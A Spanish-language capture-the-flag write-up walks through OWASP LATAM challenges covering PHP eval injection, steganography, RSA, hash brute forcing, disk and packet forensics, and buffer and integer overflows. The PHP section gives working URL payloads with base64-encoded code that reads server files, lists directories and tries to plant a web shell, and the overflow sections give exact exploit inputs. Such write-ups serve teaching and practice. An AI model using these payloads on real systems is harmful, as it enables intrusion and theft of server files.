    Al día siguiente, ya un poco más fresco:

    Bien, parece que Firefox era el que estaba estorbando ¡Entonces mi navegador era el problema!

    Reintenté con curl pero me mostró un error, y deduje «necesito formatear esto a un formato amigable web»

    y ahora sí, ¡POR FIN!


    Register Globals

    Register Globals es una de esas características de PHP que le hicieron ganar esa fama de inseguro y excesivamente tolerante, maleducando a sus desarrolladores y generando molestias por parte de expertos en seguridad. Acá hay documentación de PHP sobre el tema.

    En el reto nos mencionan que el programador lo ha «habilitado». Como el PHP en los retos es 7.4.x y esa rama ya no tiene código nativo para esta característica, pues es muy probable que este haya tenido que emular su comportamiento, y esto solo se puede hacer con eval(), una función a la que podemos engañar 🙂

    Una URL como https://rg.ctf.owasplatam.org/?home nos devuelve una página web, y lo curioso es que si cambio aunque sea un poco eso, se rompe. Si mi idea de eval() funciona, podría intentar ejecutar algún código.

    https://rg.ctf.owasplatam.org/?home;die(phpinfo());

    Con esto consigo poner un phpinfo. Descubro que funciones importantes como shell_exec, system, etc. están bloqueadas. Hay algunas funciones PHP peligrosas que nos interesarán probar.

    Continúo probando. Cualquier cosa con comillas y caracteres raros se pierde: ¿habrá una función que manipule las comillas? Para evitarnos problemas usaremos base64.

    Al parecer estoy abusando de una chapuza de PHP que hace que $_GET[abcd] se parsee como $_GET['abcd'].
    Recordemos que el primer abcd oficialmente es el nombre de una constante y no una cadena, pero PHP es muy permisivo y siempre está dispuesto a perdonarte cuando haces las cosas mal (?

    Esto quiere decir que los == de un base64 no funcionarán y podrían romper todo, asi que en el cyberchef me cercioro de poner espacios al final como relleno y así no tener ningún =.

    Abro el CyberChef y me invento un payload:

    y lo invoco así:

    Con esto saco el código fuente del mismo PHP: https://rg.ctf.owasplatam.org/?home;eval(base64_decode(ZWNobyBmaWxlX2dldF9jb250ZW50cygnaW5kZXgucGhwJyk7));/*

    Intenté parasitar la web creándome un script php que haga de shell
    view-source:https://rg.ctf.owasplatam.org/?home;eval(base64_decode(QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJ09uJyk7ZmlsZV9wdXRfY29udGVudHMoJ2dyaXMucGhwJywnPHByZT4gPD9waHAgZWNobyBgJF9HRVRbMV1gPz4nKTsg));die();/* y no funciona ya que el / es read-only. Bien pensado 🙂


    Ya que no podemos usar shells ni poner nada, tenemos que convivir con lo que PHP nos da.

    fopen, fread y cía están bloqueados, pero file_get_contents no 😛 y eso nos ayudará a abrir los archivos.

    Usando la función scandir en la carpeta actual obtuve esto:

    https://rg.ctf.owasplatam.org/?home;eval(base64_decode(QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJ09uJyk7cHJpbnRfcihzY2FuZGlyKCcvdmFyL3d3dy9odG1sLycpKTsg));die();/*

    Array
    (
        [0] => .
        [1] => ..
        [2] => about.html
        [3] => blog.html
        [4] => home.html
        [5] => index.php
        [6] => menu.html
    )

    Mmm, la banders no está en la carpeta donde está el sitio.

    Leamos el php.ini por si hay algo de interés: https://rg.ctf.owasplatam.org/?home;eval(base64_decode(QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJ09uJyk7CmVjaG8gZmlsZV9nZXRfY29udGVudHMoJy9ldGMvcGhwLzcuNC9jZ2kvcGhwLmluaScpOwpwcmludF9yKHNjYW5kaXIoJy9ldGMvcGhwLzcuNC9jZ2kvJykpOyAg));die();/*

    Por casualidad, busco en / y resulta que la bandera parece estar ahí, asi que me preparo para sacarla.

    https://rg.ctf.owasplatam.org/?home;eval(base64_decode(QGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgJ09uJyk7CnByaW50X3Ioc2NhbmRpcignLycpKTsKZWNobyBmaWxlX2dldF9jb250ZW50cygnL2ZsYWcudHh0Jyk7ICAg));die();/*

    Pokemon

    El reto te da un archivo jpg, con un montón de pokemones en fila.

    Este reto fue horrible. Resulta que cada pokemon tiene un código, y ese código en la tabla ASCII revelaba los caracteres de la flag. Lo descubrí por una corazonada, convirtiendo los dos primeros iconos en códigos y de ahi encontrar o y w en la tabla ASCII.

    Tuve que armar un lienzo cuadrado en GIMP, cargar la imagen e ir moviendo la capa de pokemones 1×1 para subir el resultado a Google Images. Previamente intenté partir la imagen con ImageMagick, pero no pude.

    No soy fan de Google, pero si tú lo eres, Google Lens podría ayudarte a acelerar la búsqueda.

    111 o Rhyhorn 
    119 w Seaking
     97 a Hypno
    115 s Kangaskhan
    112 p Rhydon
    123 { Scyther
    110 n Weezing
    111 o Rhyhorn
     95 _ onyx
    115 s Kangaskhan
     97 a Hypno
    108 l Lickitung
    103 g exeggutor
     97 a Hypno
    115 s Kangaskhan
     95 _ onyx
    100 d Voltorb
    101 e Electrode
     95 _ onyx
    116 t Horsea
    117 u Seadra
     95 _ onyx
     99 c Kingler
        a
        s
        a
        _
        p
        a
    114 r Tangela
        a
        _
        c
        a
    122 z Mr Mime
        a
        r
        _
        p
        o
        k
        e
        m
        o
        n
        e
        s
        }

    Las posiciones que quedaron sin su nombre las fui adivinando.


    Sexy RSA

    {"e": 65537, "n": 143661224271538282934263411490131272603833456753971204235968279103542798004441302803974552848856883859791176354833291049666990863339471313555952337006896642145159415985219509121395148933379264849587146674313764289829160921545805590526977907932411553174889936556407801840449447588062279347458475415188345233147, "flag": 141558773390691288965402676524014435074675156738797831791561387645057829565951034489235458684038874149146627519073036556211386180235230454438582088874458409101773823442089606749138591877490582041051538244869420154887374417266871885445446547108665820004097304244493155210352922415845480819328175306416176528120}

    Necesitamos factorizar n en dos números primos. Por la longitud, no parece ser fácil de factorizar tradicionalmente, y eso nos empuja a pensar que hay una falla/vulnerabilidad/dejadez en su generación.

    Para ese tipo de ataques no tenemos otra que recurrir a scripts, y por suerte tenemos uno que nos será muy útil: https://github.com/Ganapati/RsaCtfTool


    Twinies (RSA)

    Lo mismo. Acá necesité el paquete sagemath.


    64+21

    64+21 es 85. Esto nos hace acordar a Base85, que se ve como Base64 pero le agrega algunos caracteres más.

    SHA1

    Un problema raro, pero bueno…

    No sabía nada de Python asi que aprendí a la fuerza Copypasteando algunas cosas armé esto:

    import time
    import string
    import hashlib
    ready = False
    start = time.time()
    n = 0
    solved = False
    quit = ""
    
    # flag = "owasp{autor_color_pais_deporte}"
    lautores = [ "yehuju", "alguien_tw", "perverthso", "tommoreno", "jere", "nico"  ]
    lcolores = ["amarillo","azul","blanco","cafe","celeste","cian","gris","lila","marron","morado","naranja","negro","plata","rojo","rosa","verde","violeta"]
    lpaises = ["argentina","bolivia","brasil","chile","colombia","cuba","ecuador","costarica","elsalvador","guatemala","honduras","mexico","nicaragua","panama","paraguay","peru","uruguay","venezuela"]
    ldeportes = ["atletismo","badminton","baloncesto","beisbol","boxeo","buceo","ciclismo","equitacion","esgrima","esqui","futbol","gimnasia","golf","judo","natacion","paracaidismo","parapente","polo","patinaje","surf","taekwondo","tenis","voleibol"]
    
    candidatos = []
    hashedflag = "0b27a389e4e8cef7ac346c932e45272156a72039"
    ready = True
    
    # llenaremos el array
    
    for x in lautores:
        for y in lcolores:
            for z in lpaises:
                for d in ldeportes:
                    candidatos.append("owasp{"+x+"_"+y+"_"+z+"_"+d+"}")
    
    while not solved:
        word = candidatos[n]
        hashedGuess = hashlib.sha1(bytes(word, 'utf-8')).hexdigest()
        print(word)
        if hashedflag == hashedGuess:
            solved = True
            print('-Stats-')
            print('Pass: ' + word)
            print('Attempts: ' + str(n))
            print('time: ' + str((time.time() - start)) + ' sec')
            while quit != " QUIT":
                quit = input('Type <QUIT> to quit')
        else:
            n += 1

    ¡y funcionó!


    Just For Fun 2

    Problema forense.

    Tenemos un archivo: intento.img.gz. Reviso su hexdump (no hay nada raro en los costados) y le diré a binwalk que extraiga lo que pueda -e, y que lo haga recursivamente -M.

    ~/Descargas/ctf >>> binwalk -eM intento.img.gz
    
    Scan Time:     2020-05-09 10:18:49
    Target File:   /home/maverickp/Descargas/ctf/intento.img.gz
    MD5 Checksum:  6d8e0670b96edefc109b94bf994fd9ce
    Signatures:    391
    
    DECIMAL       HEXADECIMAL     DESCRIPTION
    --------------------------------------------------------------------------------
    0             0x0             gzip compressed data, has original file name: "intento.img", from Unix, last modified: 2020-05-09 01:38:46
    
    
    Scan Time:     2020-05-09 10:18:49
    Target File:   /home/maverickp/Descargas/ctf/_intento.img.gz.extracted/intento.img
    MD5 Checksum:  79fcefb37222921f562729ee818bb46e
    Signatures:    391
    
    DECIMAL       HEXADECIMAL     DESCRIPTION
    --------------------------------------------------------------------------------
    1048576       0x100000        Linux EXT filesystem, blocks count: 8976, image size: 9191424, rev 1.0, ext3 filesystem data, UUID=b26b376d-aa88-4850-9e05-a517a526a526
    • Necesitamos sleuthkit para que binwalk pueda extraer la imagen ext4.
    • Otra forma de extraer archivos es usando photorec.
    • Si quieres montar esta imagen ext4 y esta parece dañada, prueba montando la imagen usando otro superbloque.
    ~/Descargas/ctf >>> find _intento.img.gz.extracted                                                            
    _intento.img.gz.extracted
    _intento.img.gz.extracted/intento.img.gz
    _intento.img.gz.extracted/intento.img
    _intento.img.gz.extracted/_intento.img.extracted
    _intento.img.gz.extracted/_intento.img.extracted/100000.ext
    _intento.img.gz.extracted/_intento.img.extracted/ext-root
    _intento.img.gz.extracted/_intento.img.extracted/ext-root/.estoesunlio.png.swp

    Ese archivo swp tiene truco: deja a entender que «estoesunlio.png» fue editado con VIM y que el .swp es un búfer que vim dejó y no pudo cerrar. Podemos buscar cómo restaurarlo com vim -r, pero este niega poder hacerlo.

    Necesitamos ver qué tiene el archivo por dentro. Para poder tener noción de la estructura, necesitamos ver también un PNG sano, no importa cualquiera.

    ~/Descargas/ctf >>> hexdump -C _intento.img.gz.extracted/_intento.img.extracted/ext-root/.estoesunlio.png.swp | head
    00000000  0d 0a 1a 0a 00 00 00 0d  49 48 44 52 00 00 03 ce  |........IHDR....|
    00000010  00 00 01 cc 08 06 00 00  00 04 42 f1 7a 00 00 00  |..........B.z...|
    00000020  09 70 48 59 73 00 00 0e  c4 00 00 0e c4 01 95 2b  |.pHYs..........+|
    00000030  0e 1b 00 00 00 19 74 45  58 74 53 6f 66 74 77 61  |......tEXtSoftwa|
    00000040  72 65 00 67 6e 6f 6d 65  2d 73 63 72 65 65 6e 73  |re.gnome-screens|
    00000050  68 6f 74 ef 03 bf 3e 00  00 20 00 49 44 41 54 78  |hot...>.. .IDATx|
    00000060  9c ec dd 79 58 55 d5 e2  c6 f1 2f 0e e7 38 00 2a  |...yXU..../..8.*|
    00000070  83 03 20 26 98 0a a9 e8  4d b1 cc 79 40 73 4a d1  |.. &....M..y@sJ.|
    00000080  4c cd d4 ac 9c ae 8a 63  39 e6 3c e4 ac e4 90 d7  |L......c9.<.....|
    00000090  4c d3 44 cb e9 aa 39 95  f3 f0 53 a9 84 34 41 4b  |L.D...9...S..4AK|
    ~/Descargas/ctf >>> hexdump -C ../logo.png | head
    00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|
    00000010  00 00 01 f4 00 00 01 f4  08 06 00 00 00 cb d6 df  |................|
    00000020  8a 00 00 00 04 67 41 4d  41 00 00 b1 8f 0b fc 61  |.....gAMA......a|
    00000030  05 00 00 00 20 63 48 52  4d 00 00 7a 26 00 00 80  |.... cHRM..z&...|
    00000040  84 00 00 fa 00 00 00 80  e8 00 00 75 30 00 00 ea  |...........u0...|
    00000050  60 00 00 3a 98 00 00 17  70 9c ba 51 3c 00 00 00  |`..:....p..Q<...|
    00000060  06 62 4b 47 44 00 ff 00  ff 00 ff a0 bd a7 93 00  |.bKGD...........|
    00000070  00 00 09 70 48 59 73 00  00 2e 23 00 00 2e 23 01  |...pHYs...#...#.|
    00000080  78 a5 3f 76 00 00 00 07  74 49 4d 45 07 e3 07 15  |x.?v....tIME....|
    00000090  0b 11 05 a6 05 80 4f 00  00 80 00 49 44 41 54 78  |......O....IDATx|

    Algo llamativo fue que los magic numbers no coincidían. La estructura del resto del archivo era similar (lo cual descarta byte swaps, cifrados como XOR o cambio de endianidad), pero más tarde me di cuenta que a nuestro archivo no le habían cambiado los magic numbers: se los habian quitado.

    Instalé rápidamente el primer editor hexadecimal que vi en Internet y le puse los magic numbers que faltaban: 89 50 4E 47.

    Y conseguimos recuperar el archivo.

    No tan distintos

    Nos dan un pcap que abrimos con Wireshark. Como suelen estar llenos de ruido (en los CTF tenemos que asumir que los pcaps siempre estarán llenos de basura y no nos servirá recorrerlos a mano) tenemos que aprender a usar filtros.

    Revisando muy rápidamente a mano vemos algún tráfico HTTP.

    vemos que han iniciado sesión con una contraseña Pa$$word4web. y piden un archivo que podemos extraer con Export Packet Bytes.

    pero ese archivo tiene password 🙁

    ~/Descargas/ctf >>> unzip flag.zip
    Archive:  flag.zip
    [flag.zip] flag.txt password: 
       skipping: flag.txt                incorrect password

    Las passwords anteriores no sirven, asi que continuamos revisando el pcap. Mientras veo un paquete HTTP sospechoso al final, quito el filtro y me entero que hay tráfico de otro tipo: FTP.

    La negociación FTP es sencilla y podemos verla directamente desde ls lista de paquetes.

    la contraseña es Pa$$word4ftp. ahora, y la sesión deja entender que la primera contraseña y esta están relacionadas, y acordándome de otro CTF, podríamos intentar seguir ese patrón con el zip.

    ~/Descargas/ctf >>> unzip flag.zip
    Archive:  flag.zip
    [flag.zip] flag.txt password: Pa$$word4zip.
     extracting: flag.txt                
    ~/Descargas/ctf >>> cat flag.txt
    owasp{los_admins_y_sus_patrones_de_password}%

    Over Easy (Buffer Overflow)

    Este problema es de Buffer Overflow.

    Esta vez, gracias a que tenemos el código fuente, podemos entender lo que hace el programa y cómo podemos atacarlo.

    Este es el programa: (le hice una modificación menor)

    /* 
    gcc -fno-stack-protector over_easy.c -o over_easy -m32 -no-pie
    */
    
    #include <stdlib.h>
    #include <stdio.h>
    
    int main() {
            setvbuf(stdout, NULL, _IONBF, 0);
            int cookie;
            char buf[80] = "Hola, bienvenido al OWASP LATAM Tour!!!\n\n";
            printf(buf);
            printf("buf esta en %08x y cookie en %08x\n y la flag es....\n", &buf, &cookie);
        printf("give me your input!!! ");
            gets(buf);
    
        printf("cookie=%08x", cookie);
            if (cookie == 0x41424344)
            {
         setreuid(geteuid(), geteuid());
         printf("\nLa flag es: ");
         fflush(stdout);
         system("/bin/cat flag");
            }
    }

    Ejecutemos el programa:

    ~/Descargas/ctf >>> ../over_easy                                                                              
    Hola, bienvenido al OWASP LATAM Tour!!!
    
    buf esta en ff85932c y cookie en ff85937c
     y la flag es....
    give me your input!!! lol

    El programa al ejecutarse nos pide que ingresemos algo. Yo agrego algo random y el programa termina sin más.

    Leyendo el código veo que la entrada se guarda en la variable buf (que tiene como tamaño fijo 80 caracteres). Y por las direcciones que se muestran, puedo deducir el tamaño de buf desde el exterior: (0xff85932c-0xff85937c) == (0x50) == (80)

    Viendo la fuente, el reto nos pide que escribamos ‘ABCD’ en cookie y como este va después de buf, entonces tenemos que conseguir desbordar buf. buf tiene 80 caracteres (los cuales rellenaremos con A), asi que tenemos que escribir 84 siendo estos 4 últimos ‘ABCD’:
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD

    El primer intento no funciona:

    ~/Descargas/ctf >>> nc over-easy.ctf.owasplatam.org 10005                                                     
    Hola, bienvenido al OWASP LATAM Tour!!!
    
    buf esta en ff8a405c y cookie en ff8a40ac
     y la flag es....
    give me your input!!! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD

    No sé como estara cookie, asi que edito mi copia en C del programa, le agrego un printf para ver qué tiene cookie y lo ejecuto en mi máquina:

    ~/Descargas/ctf >>> ../over_easy
    Hola, bienvenido al OWASP LATAM Tour!!!
    
    buf esta en fff0eccc y cookie en fff0ed1c
     y la flag es....
    give me your input!!! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABCD
    cookie=44434241%

    Mmm, tenía que salir 41424344 pero sale 44434241. Quizás un byte swap? O algo que no haya considerado? Como tenemos prisa, cambiaremos el orden a mano.

    Cambio el orden y ahora queda así: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA

    ~/Descargas/ctf >>> nc over-easy.ctf.owasplatam.org 10005
    Hola, bienvenido al OWASP LATAM Tour!!!
    
    buf esta en ffa0412c y cookie en ffa0417c
     y la flag es....
    give me your input!!! AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADCBA
    
    La flag es: owasp{tu_primer_buffer_overflow?}

    Si, fue mi primer buffer overflow que hice a mano 🙂


    Into the flow

    Otro ejercicio divertido, pero este es integer overflow.

    Esta es la fuente:

    /*
    gcc -fno-stack-protector intover.c -o intover
    */
    
    #include <stdlib.h>
    #include <unistd.h>
    #include <stdio.h>
    #include <string.h>
    
    void check(int n)
    {
        if (!n){
          setreuid(geteuid(), geteuid());
              printf("[+] Logrado \n");
              printf("\nLa flag es: ");
          fflush(stdout);
          system("/bin/cat flag");
            }
        else
            printf("nop, el número %d no era...\n", n);
    }
    
    int main(void)
    {
            setvbuf(stdout, NULL, _IONBF, 0);
            printf("Hola, bienvenido al OWASP LATAM Tour\n");
            printf("Adiviná en que número estoy pensando? ");
    
        long int a;
        scanf("%ld", &a);
    
        if (a == 0)
            printf("Sin trampas...\n");
        else
            check(a);
        return 0;
    }

    Para no hacer largo el cuento, hay varios detalles que llaman la atención:

    • el número que debemos envenenar pasa por main como long int pero pasa por check como int 👀
    • el if(!n) de check(n) no se entiende a un principio, pero podemos desdoblarlo a if(n==0) y esto nos ayuda a entender mejor.

    Leyendo sobre límites en C, vemos que necesitamos un número que:

    • Sobrepase int
    • Que no sobrepase long int, y
    • Que en int sea 0.
    ~/Descargas/ctf >>> nc intover.ctf.owasplatam.org 10003
    Hola, bienvenido al OWASP LATAM Tour
    Adiviná en que número estoy pensando? 4294967296
    [+] Logrado 
    
    La flag es: owasp{!s_4n_integ3r_overfl0w!!}

    ¡Gracias por leer!